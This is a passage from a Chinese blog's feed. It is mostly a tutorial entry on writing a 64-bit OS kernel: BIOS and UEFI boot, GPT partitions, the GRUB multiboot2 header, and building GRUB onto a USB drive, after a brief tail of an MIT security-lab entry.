        persondb.commit()

    ##...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行，成功通过所有检查&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;zoobar-lab3-checks-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;至此，Lab 3 全部完成&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OS 现代 64 位操作系统开发（一）：Cmake 构建、UEFI 启动、GRUB 引导、frame buffer 文字绘制</title>
        <published>2024-06-15T00:00:00+00:00</published>
        <updated>2024-06-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/os-现代-64-位操作系统开发-一-cmake-构建、uefi-启动、grub-引导、frame-buffer-文字绘制/"/>
        <id>https://vercel.juzhong.asia/obsidian/os-现代-64-位操作系统开发-一-cmake-构建、uefi-启动、grub-引导、frame-buffer-文字绘制/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/os-现代-64-位操作系统开发-一-cmake-构建、uefi-启动、grub-引导、frame-buffer-文字绘制/">&lt;h2 id=&quot;0x00-yi-qie-kai-shi-zhi-qian&quot;&gt;0x00. 一切开始之前&lt;&#x2F;h2&gt;
&lt;p&gt;很久以前在知乎上曾经有过一个“程序员的三大浪漫”的讲法：「编译原理」、「操作系统」、「图形学」——当然这个似乎是某些知名答主杜撰的并没有任何的由头神必说法，笔者自己也不认为所谓的“程序员的浪漫”就仅是这几个东西，但对于笔者而言，“自己动手编写一个可以正常运行的操作系统”确乎是一件&lt;strong&gt;非常炫酷的事情&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因此趁着现在时间尚且充足，笔者想要&lt;strong&gt;真正地从零写一个可用的 64 位操作系统内核&lt;&#x2F;strong&gt;，算是满足自己多年来的一个梦想吧，名字的话笔者决定叫 &lt;code&gt;ClosureOS&lt;&#x2F;code&gt; ——这个名字的由来比较简单，笔者一直很难想出比较好听的名字，看了看市面上有各种操作系统都叫 &lt;code&gt;Open*&lt;&#x2F;code&gt; ，那笔者就叫 &lt;code&gt;Close&lt;&#x2F;code&gt; 好了，但是 &lt;code&gt;Close&lt;&#x2F;code&gt; 这个单词长得又不好看，于是笔者最终选择了 &lt;code&gt;Closure&lt;&#x2F;code&gt; 作为这个操作系统的名字——虽然似乎不是特别好听，但反正是否能写完都还是个未知数，所以也无所谓了（笑）&lt;&#x2F;p&gt;
&lt;p&gt;本项目代码开源在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;arttnba3&#x2F;ClosureOS&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;arttnba3&#x2F;ClosureOS&quot;&gt;github.com&#x2F;arttnba3&#x2F;Clo&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;arttnba3&#x2F;ClosureOS&quot;&gt;sureOS&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x01-boot-firmware&quot;&gt;&lt;strong&gt;0x01. Boot Firmware&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;现代计算机的上电过程比较复杂，不过对于操作系统开发而言我们其实只需要关注&lt;strong&gt;当我们按下开机键之后所发生的事情&lt;&#x2F;strong&gt;，实际上无论是古老的 Legacy BIOS 启动还是逐渐成为主流的 UEFI 启动而言，其不外乎都遵循以下三个大阶段：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ROM Stage&lt;&#x2F;strong&gt;：经历了一些基本的初始化工作后 CPU 被重置，主核心被唤醒，指令指针寄存器指向 &lt;code&gt;reset vector&lt;&#x2F;code&gt;（固件入口点）并由此开始执行，此时尚未进行内存探测，需要直接在 ROM 上执行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;RAM Stage&lt;&#x2F;strong&gt;：内存探测完成，此时可以进行主板上各芯片组、CPU 等模块的初始化等工作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Boot Stage&lt;&#x2F;strong&gt;：找到启动设备，完成启动设备前的依赖项的准备，将控制权移交给设备上的下一阶段的启动器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现有的固件通常分为两类：BIOS 与 UEFI&lt;&#x2F;p&gt;
&lt;h3 id=&quot;legacy-bios&quot;&gt;&lt;strong&gt;Legacy BIOS&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;基本输入输出系统&lt;&#x2F;strong&gt;（&lt;strong&gt;Basic Input&#x2F;Output System&lt;&#x2F;strong&gt;，BIOS）是用来为计算机提供初始化服务与运行时服务的一组固件，其被预装在主板的 ROM&#x2F;FLASH 芯片上，不同的 BIOS 通常仅能在特定的主板型号上运行&lt;&#x2F;p&gt;
&lt;p&gt;当计算机启动后 BIOS 为第一个被运行的软件，此时计算机处于实模式下，仅能访问 1MB 内存的空间，其中物理内存 &lt;code&gt;0xF0000 ~ 0xFFFFF&lt;&#x2F;code&gt; 这 64KB 空间被映射到 BIOS ROM 当中，并以 &lt;code&gt;0xFFFF0&lt;&#x2F;code&gt; 处作为 BIOS 程序的入口点开始执行&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于支持且开启了 BIOS shadowing 特性的计算机而言，BIOS 会被先从固件当中拷贝到内存中，而非直接在 ROM 空间上执行&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;BIOS 会从南桥的 CMOS 芯片中读取 BIOS 程序的设置值、硬件参数侦测值等信息，在完成加电自检、设备测试等工作之后，会从启动设备中读取第一个扇区到物理内存 &lt;code&gt;0x7c00&lt;&#x2F;code&gt; 的位置，该扇区被称为&lt;strong&gt;主引导记录&lt;&#x2F;strong&gt;（&lt;strong&gt;Master Boot Recode&lt;&#x2F;strong&gt;，MBR），随后 BIOS 会跳转到 &lt;code&gt;0x7c00&lt;&#x2F;code&gt; 处继续执行，控制权转交给 MBR&lt;&#x2F;p&gt;
&lt;p&gt;MBR 的结构如下图所示，其中&lt;strong&gt;不仅包含有 440 字节的第一阶段引导代码，同时还包含有磁盘的分区表信息&lt;&#x2F;strong&gt;，MBR 以末尾的两个字符 &lt;code&gt;0x55, 0xaa&lt;&#x2F;code&gt; 作为其标识：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里我们可以看到 MBR 分区表仅支持不超过四个主分区，多余的分区则需要依赖操作系统在其上建立虚拟分区，此外 MBR 也不支持管理硬盘 2TB 以外的存储空间，因此这种分区方式 &lt;em&gt;其实已经正在逐渐地被淘汰&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;bios-mbr-structure.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于 MBR 仅有 512 字节，无法完成过多的任务，因此通常的设计是由 MBR 从硬盘上读取第二阶段的 boot loader，由其来完成后续的系统环境初始化、载入操作系统内核等工作&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;legacy-bios-mbr-boot-flow.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;unified-extensible-firmware-interface&quot;&gt;&lt;strong&gt;Unified Extensible Firmware Interface&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;统一可扩展固件接口&lt;&#x2F;strong&gt;（&lt;strong&gt;Unified Extensible Firmware Interface&lt;&#x2F;strong&gt;，UEFI）为一套&lt;strong&gt;固件接口规范，用以初始化硬件、引导操作系统，并向操作系统提供一套统一的功能接口，解决不同厂牌 BIOS 分裂的现状&lt;&#x2F;strong&gt;，其最初起源于 Intel 开发的 EFI，在 2005 年由 Intel 交由 UEFI 论坛进行推广，&lt;strong&gt;UEFI 固件本质上与 BIOS 固件没有区别&lt;&#x2F;strong&gt;（都是封装在 ROM&#x2F;FLASH 固件里的程序）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;例如 BIOS 厂商 A 提供的某个功能接口的使用方式是 X，BIOS 厂商 B 提供的相似功能接口使用方式是 Y，那操作系统就得为不同厂商的不同功能编写多套代码
而有了 UEFI 规范，厂商 A、B 的 UEFI 固件都需要向上层提供统一的接口，从而使得操作系统可以用相同的方式调用某个功能，避免了代码分裂的情况&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里引用一张非常经典的图片简述 UEFI 启动的基本过程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;uefi-boot-process.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相应地，UEFI 启动不再使用老旧的 MBR 分区表，而是使用 &lt;strong&gt;GUID Partion Table&lt;&#x2F;strong&gt; （GPT 分区表），以 512 字节为单位作为一个&lt;strong&gt;逻辑块&lt;&#x2F;strong&gt;（Logic Block，相对应的区块地址便称为 LBA），前 34 个 LBA 用来记录分区信息，其中 LBA0 为了兼容性保留给 MBR 使用，LBA1 记录分区表自身的信息、备份用 GPT 分区（最后 34 个 LBA 的位置）、分区的 CRC 校验码等，LBA2 ~ LBA 33 则用来记录分区信息，每个 LBA 可以记录四个条目：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;gpt-partition-table-layout.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;扩展阅读：兼容支持模块（Compatibility Support Module）&lt;&#x2F;strong&gt;
在 UEFI 逐渐替换掉计算机底层固件的风潮涌动之时，尚有大量的设备仍旧使用传统的 MBR 分区表，为了进行兼容，CSM 这一兼容支持模块会模拟传统 BIOS 的功能，为这些设备系统按照传统的 BIOS + MBR 方式进行引导，并提供传统 BIOS 的 0x10 等中断服务&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;coreboot-firmware-architecture.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;coreboot&quot;&gt;&lt;em&gt;&lt;strong&gt;Coreboot&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;Coreboot&lt;&#x2F;strong&gt; 起源于&lt;strong&gt;LinuxBIOS&lt;&#x2F;strong&gt;，最初的思路是 &lt;em&gt;既然 Linux 有比较好的硬件支持，那计算机启动以后直接跳 Linux就完事了&lt;&#x2F;em&gt;  ， 于是 &lt;em&gt;使用 20 行汇编完成初始化并将 Flash 中的 Linux 拷贝至内存后直接跳过去&lt;&#x2F;em&gt; 的 LinuxBIOS 诞生于 1999年，随后经过不断发展，引导 Linux 所用的程序越来越大，于是项目在 2008 年改名为 coreboot，项目结构变为 &lt;code&gt;coreboot + payload&lt;&#x2F;code&gt;，Linux 则成为了 &lt;em&gt;可选的一段 payload&lt;&#x2F;em&gt; ，通过这样的模式，Coreboot 可以通过引入不同的 payload 来支持多种不同的启动规范，包括 Legacy BIOS 和 UEFI&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;coreboot-payload-boot-modes.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;目前市面上正在使用 Coreboot 的主流产品有 Google Chromebook 和 System76 旗下的笔记本等&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;why-grub&quot;&gt;&lt;strong&gt;Why GRUB？&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;现今的大部分所谓“教你自行编写操作系统”的无论是教程也好书籍也好，都存在着一个小小的问题：&lt;strong&gt;对 Legacy BIOS 的内核引导阶段大书特书&lt;&#x2F;strong&gt;——诚然，了解一台计算机从启动开始到内核真正运作这段期间的实现细节无疑是十分重要的一件事情，对于操作系统学习而言或许也有不小的帮助，但很容易让初学者陷入到与各种硬件博弈的苦战当中，同时对于实际的开发而言手动编写一个&lt;strong&gt;仅适用于我们自己的内核&lt;&#x2F;strong&gt;的客制化 &lt;code&gt;MBR + boot loader&lt;&#x2F;code&gt; 意义并不算特别大&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;再说都什么时代了还在用 Legacy BIOS，Wintel 联盟都宣布这玩意已经彻底成为历史了&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;而 UEFI 规范虽然给了我们更为方便地通过 UEFI 的各种接口实现不同的功能，但&lt;strong&gt;UEFI 的大部分功能在 Runtime 阶段是不可用的&lt;&#x2F;strong&gt;，同时这也少不了编写设备识别、文件系统解析等工作，再配上编写各种基础设施，一套写下来一个EFI 程序其实差不多就已经是一个完整的小内核了——当然， &lt;em&gt;直接用 EFI 程序作为操作系统内核不是不行，看着也确实像个样子&lt;&#x2F;em&gt; ，&lt;strong&gt;就是不太优雅，也不太现代&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因此，对于内核引导阶段，我们暂时选择&lt;strong&gt;直接复用现有的成熟的方案&lt;&#x2F;strong&gt;——例如「GNU GRUB」，其同时支持 Legacy BIOS 与 UEFI 引导，让我们不用在一开始就陷入到与各种存储设备斗争的泥潭当中&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;grub-bios-uefi-boot.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;当然，如果说仅从「学习」的角度而言自己亲手写一个 &lt;code&gt;MBR + boot loader&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;EFI&lt;&#x2F;code&gt; 并亲身体会到其载入内核的整个过程其实是一件非常有益处的事情（笑）
先挖个坑：我们将在操作系统内核开发完成之后的后续补充文章中&lt;strong&gt;自行开发一个 EFI 程序以引导符合 multiboot2 规范的内核&lt;&#x2F;strong&gt;
也有人会问：那为什么不用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;limine-bootloader&#x2F;limine&quot;&gt;Limine&lt;&#x2F;a&gt; 或是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gitlab.com&#x2F;bztsrc&#x2F;bootboot&quot;&gt;BOOTBOOT&lt;&#x2F;a&gt; 这样更加现代的 boot loader 呢？一个原因就是因为 GRUB 相对有着更好的兼容性，能够在更多设备上运行&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;multiboot2-gui-fan&quot;&gt;&lt;strong&gt;Multiboot2 规范&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;那么我们如何让 GNU GRUB 知道他该怎么引导一个什么样的内核呢？答案是通过&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot&#x2F;multiboot.html&quot;&gt;多重引导规范&lt;&#x2F;a&gt;（Multiboot Specification），该规范制定的目的是使得遵循该规范的操作系统可以被同样遵循该规范的 boot loader 引导，而无需编写特定于 OS 的 boot loader&lt;&#x2F;p&gt;
&lt;p&gt;GNU GRUB 第二版进行了完全的重写，多重引导规范也有个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;multiboot.html&quot;&gt;第二版&lt;&#x2F;a&gt;，不过好在 GRUB2 同时支持两版引导规范——这里我们使用&lt;strong&gt;第二版&lt;&#x2F;strong&gt;的规范&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;然而 Linux kernel 使用的&lt;strong&gt;并不是 multiboot  规范&lt;&#x2F;strong&gt;，而是其&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;Documentation&#x2F;x86&#x2F;boot.txt&quot;&gt;自定义的协议&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;多重引导规范要求我们的内核映像的前 &lt;code&gt;32768&lt;&#x2F;code&gt; 字节中一个任意的 &lt;strong&gt;64位对齐的位置&lt;&#x2F;strong&gt; 必须要有一个 &lt;code&gt;multiboot2 header&lt;&#x2F;code&gt; 来记录相应的信息，格式如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Offset&lt;&#x2F;th&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;th&gt;Field Name&lt;&#x2F;th&gt;&lt;th&gt;Note&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;u32&lt;&#x2F;td&gt;&lt;td&gt;magic&lt;&#x2F;td&gt;&lt;td&gt;required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;u32&lt;&#x2F;td&gt;&lt;td&gt;architecture&lt;&#x2F;td&gt;&lt;td&gt;required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;u32&lt;&#x2F;td&gt;&lt;td&gt;header_length&lt;&#x2F;td&gt;&lt;td&gt;required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;u32&lt;&#x2F;td&gt;&lt;td&gt;checksum&lt;&#x2F;td&gt;&lt;td&gt;required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16-XX&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;tags&lt;&#x2F;td&gt;&lt;td&gt;required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;magic&lt;&#x2F;code&gt;：multiboot2 header 的标识，必须为 &lt;code&gt;0xE85250D6&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;architecture&lt;&#x2F;code&gt;：标识指令集架构，0 表示 32 位 i386 保护模式，4 表示 32 位 MIPS&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;header_length&lt;&#x2F;code&gt; ：包含 tags 在内的整个 multiboot2 header 的大小&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;checksum&lt;&#x2F;code&gt;：该域与前三个域相加的和为无符号 0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tags&lt;&#x2F;code&gt;：补充域，其格式通常如下，以类似数组的形式跟在后边，&lt;strong&gt;每个 tag 的起始地址8 字节对齐&lt;&#x2F;strong&gt;，&lt;strong&gt;整个 tag 数组以一个 type 为 0 及 size 为 8 的 tag 结尾&lt;&#x2F;strong&gt;，关于不同类型的 tag 格式，参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;multiboot2&#x2F;multiboot.html%23Header-tags&quot;&gt;此处&lt;&#x2F;a&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;        +-------------------+
u16     | type              |
u16     | flags             |
u32     | size              |
        +-------------------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zai-u-pan-shang-an-zhuang-grub2&quot;&gt;&lt;strong&gt;在 U 盘上安装 GRUB2&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;虽然很多操作系统编写教程都是在虚拟机当中运行的，毕竟 &lt;em&gt;对于操作系统初学者而言更重要的是了解整个操作系统的运行机理&lt;&#x2F;em&gt; ，但是&lt;strong&gt;在物理机上运行自己写的操作系统是非常令人感到愉悦的一件事情&lt;&#x2F;strong&gt;，所以这里我们将会介绍如何在 U 盘上安装 GRUB 来引导自己的操作系统内核&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你不想弄这一部分，也可以跳转到下一节，直接开始安全地使用 QEMU，我们后面的各种开发调试其实主要也是在 QEMU 上完成的 ，当然如果你就喜欢在真机上测试那也没问题 ： ）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;如果你在物理机上使用 Linux 作业系统，请找到你的 U 盘对应的设备节点，通常情况下，如果你的计算机&lt;strong&gt;仅&lt;&#x2F;strong&gt;使用 &lt;code&gt;nvme m.2&lt;&#x2F;code&gt; 固态硬盘，则新插入的 U 盘 &lt;em&gt;通常&lt;&#x2F;em&gt; 是 &lt;code&gt;&#x2F;dev&#x2F;sda&lt;&#x2F;code&gt; ，&lt;strong&gt;如果你则计算机仍在使用 SATA 接口的硬盘，请注意自行确定设备路径&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;如果你在物理机上使用 Windows 操作系统，出于易用性考虑我们并不使用 WSL，&lt;strong&gt;而是在 Vmware 虚拟机中安装一个 Linux 操作系统&lt;&#x2F;strong&gt;，并通过如下方式将 U 盘连接到虚拟机中（请先确定好你的 U 盘对应的设备名称），在你的虚拟机处在默认配置且不存在外部存储设备的情况下，U 盘对应的设备节点通常是 &lt;code&gt;&#x2F;dev&#x2F;sdb&lt;&#x2F;code&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;vmware-connect-usb-to-vm.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;也可以通过重新拔插可移动设备以让 Vmware 自行截获：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;vmware-usb-replug-intercept.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你是其他情况，请自行进行判断 ：)&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先安装一些依赖：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ sudo apt install -y dosfstools mtools gparted gcc cmake git bison libopts25 libselinux1-dev m4 help2man libopts25-dev flex libfont-freetype-perl automake make autotools-dev autopoint libfreetype6-dev texinfo python3 autogen autoconf libtool libfuse3-3 unifont gettext binutils pkg-config liblzma5 libdevmapper-dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们对 U 盘进行分区，&lt;strong&gt;请确保你已经将所有重要数据完成备份&lt;&#x2F;strong&gt;，这里笔者选择使用 &lt;code&gt;GParted&lt;&#x2F;code&gt; 进行分区，我们首先通过 &lt;code&gt;Device→Create Partion Table...&lt;&#x2F;code&gt; 建立一个 GPT 分区表：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;gparted-usb-gpt-partition.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;此时可能会提示无法重建分区表，这是因为 Ubuntu 可能偷偷帮你把分区挂载在 &lt;code&gt;&#x2F;run&#x2F;你的用户名&lt;&#x2F;code&gt; ，请使用 &lt;code&gt;umount&lt;&#x2F;code&gt; 卸载所有活动分区，之后重新启动 &lt;code&gt;GParted&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然后右键新建分区，这里笔者选择建立一个大小为 512MB 的 EFI 分区，注意&lt;strong&gt;该分区必须为 fat32 格式&lt;&#x2F;strong&gt;，剩余的空间作为一个文件系统分区， &lt;em&gt;我们将在后续开发文件系统时用到她&lt;&#x2F;em&gt; ，划分好后点绿色的✅然后 &lt;code&gt;Apply&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里 GParted 会在 U 盘末尾留下 1MB 的空间，用来放 MBR 分区表，主要是出于兼容目的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os64-1-boot&#x2F;gparted-efi-partition-usb.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们从源码编译 GRUB，首先从 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;ftp.gnu.org&#x2F;gnu&#x2F;grub&#x2F;&quot;&gt;GNU GRUB 的 FTP 服务器&lt;&#x2F;a&gt;进行下载源码，然后在单独的文件夹中进行编译，这里我们三种 GRUB 都编译上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ wget https:&amp;#x2F;&amp;#x2F;ftp.gnu.org&amp;#x2F;gnu&amp;#x2F;grub&amp;#x2F;grub-2.06.tar.xz
# 也可以从这里获取： git clone git:&amp;#x2F;&amp;#x2F;git.savannah.gnu.org&amp;#x2F;grub.git
$ tar -xf grub-2.06.tar.xz
$ cd grub-2.06&amp;#x2F;
$ mkdir EFI32 EFI64 BIOS
$ cd EFI64
$ ..&amp;#x2F;configure --target=x86_64 --with-platform=efi &amp;amp;&amp;amp; make -j$(nproc)
$ cd ..&amp;#x2F;EFI32
$ ..&amp;#x2F;configure --target=i386 --with-platform=efi &amp;amp;&amp;amp; make -j$(nproc)
$ cd ..&amp;#x2F;BIOS
$ ..&amp;#x2F;configure --target=i386 --with-platform=pc --disable-nls &amp;amp;&amp;amp; make -j$(nproc)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注：如果你使用的是 Arch&#x2F;Fedora&#x2F;OpenSUSE 这样更新比较快的系统，在编译的时候可能会出错（GCC 背大锅），那么这个时候可能就需要使用更新版本的源码，笔者物理机此前使用的是 Fedora Workstation 38，编译 2.06 时爆了莫名其妙的问题，所以后来笔者选择了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;git.savannah.gnu.org&#x2F;cgit&#x2F;grub.git&#x2F;tag&#x2F;%3Fh%3Dgrub-2.12-rc1&quot;&gt;2.12 rc1&lt;&#x2F;a&gt; 版本的 GRUB2&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然后将 GRUB2 安装到 U 盘的 EFI 分区上：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ sudo mount &amp;#x2F;dev&amp;#x2F;sdb1 &amp;#x2F;mnt # 注意替换成自己的 U 盘对应的设备节点
